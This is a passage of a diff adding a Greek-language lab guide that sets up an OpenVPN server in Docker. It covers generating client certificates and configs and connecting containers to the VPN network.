--cap-add=NET_ADMIN $docker # <8> + +sudo sysctl -w net.ipv4.ip_forward=1 + +#show created +docker ps +---- +<1> localhost inside of a container will resolve to the network stack of this container +<2> Port +<3> Specify Addresses and Netmasks for VPN Clients +<4> Directory to mount data +<5> Name of docker services +<6> Create config +<7> keys +<8> Run docker vpn service +==== +Τρέχουμε το αρχείο. (προσοχή στα δικαιώματα). Θα ζητηθεί ένα passphrase, μπορούμε να εισάγουμε ότι θέλουμε. Όταν η διαδικασία ολοκληρωθεί, θα πρέπει στα NAMES να δούμε το όνομα swarmlab-vpn-services (ή το αντίστοιχο που έχουμε επιλέξει εμείς). + +image:images/vpn_success.png[] + +Μπορούμε να το επιβεβαιώσουμε και με netstat + +image:images/vpn_success_2.png[] + + +=== Δημιουργία χρήστη +Για να μπορέσει να συνδεθεί ένας χρήστης, χρειάζεται ένα config αρχείο. +==== +---- +Η δομή της εντολής είναι: +docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass + +docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.ovpn + +όπου: +USERNAME=sec1 +vpn_data=$PWD/openvpn-services/ +docker=registry.vlabs.uniwa.gr:5080/myownvpn +όπως δόθηκαν στο αρχείο για το vpn + +Άρα +docker run -v $PWD/openvpn-services:/etc/openvpn --rm -it registry.vlabs.uniwa.gr:5080/myownvpn easyrsa build-client-full sec1 nopass + +docker run -v $PWD/openvpn-services:/etc/openvpn --rm --log-driver=none -it registry.vlabs.uniwa.gr:5080/myownvpn ovpn_getclient sec1 > sec1.ovpn +---- +Θα πρέπει να επιστρέψει την παρακάτω οθόνη (αφού εισάγουμε τον κωδικό) + +image:images/user_config_create_1.png[] + +==== +Ανοίγουμε το αρχείο του χρήστη και κάνουμε copy-paste αντικαθιστώντας την host machine IP με την δική μας, δηλαδή το μηχανάκι που τρέχει το docker. Το 1194 είναι η πόρτα που έχουμε δώσει στο create-vpn.sh +==== +---- +client +nobind +dev tun +comp-lzo +resolv-retry infinite +keepalive 15 60 + +remote-cert-tls server +remote 1194 udp +float +---- + +Αντιγράφουμε το αρχείο στον φάκελο που έχουμε το project +---- +cp sec* ../test/project/ +---- + +image:images/sec_on_project_folder.png[] + +==== +=== Εγκατάσταση openvpn +Για να μπορέσουμε να συνδεθούμε στο vpn, χρειαζόμαστε το openvpn. Το εγκαθιστούμε τόσο στα containers όσο και στο docker (τον master) +==== +---- +apt update +apt install openvpn +---- +==== +=== Λειτουργία +Εκτελούμε την παρακάτω εντολή σε κάποιο container: +==== +---- +openvpn --config ./sec1.ovpn +---- +image:images/init_sequence_complete.png[] + +Εδώ βλέπουμε ότι το container πήρε την IP 10.80.0.2, η οποία είναι εντός του VPN nertwork που ορίστηκε στο create-vpn.sh αρχείο (10.80.0.0/16). + + +image:images/worker_ip_after_vpn.png[] + +Το interface tun0 με τη IP του VPN. + ==== \ No newline at end of file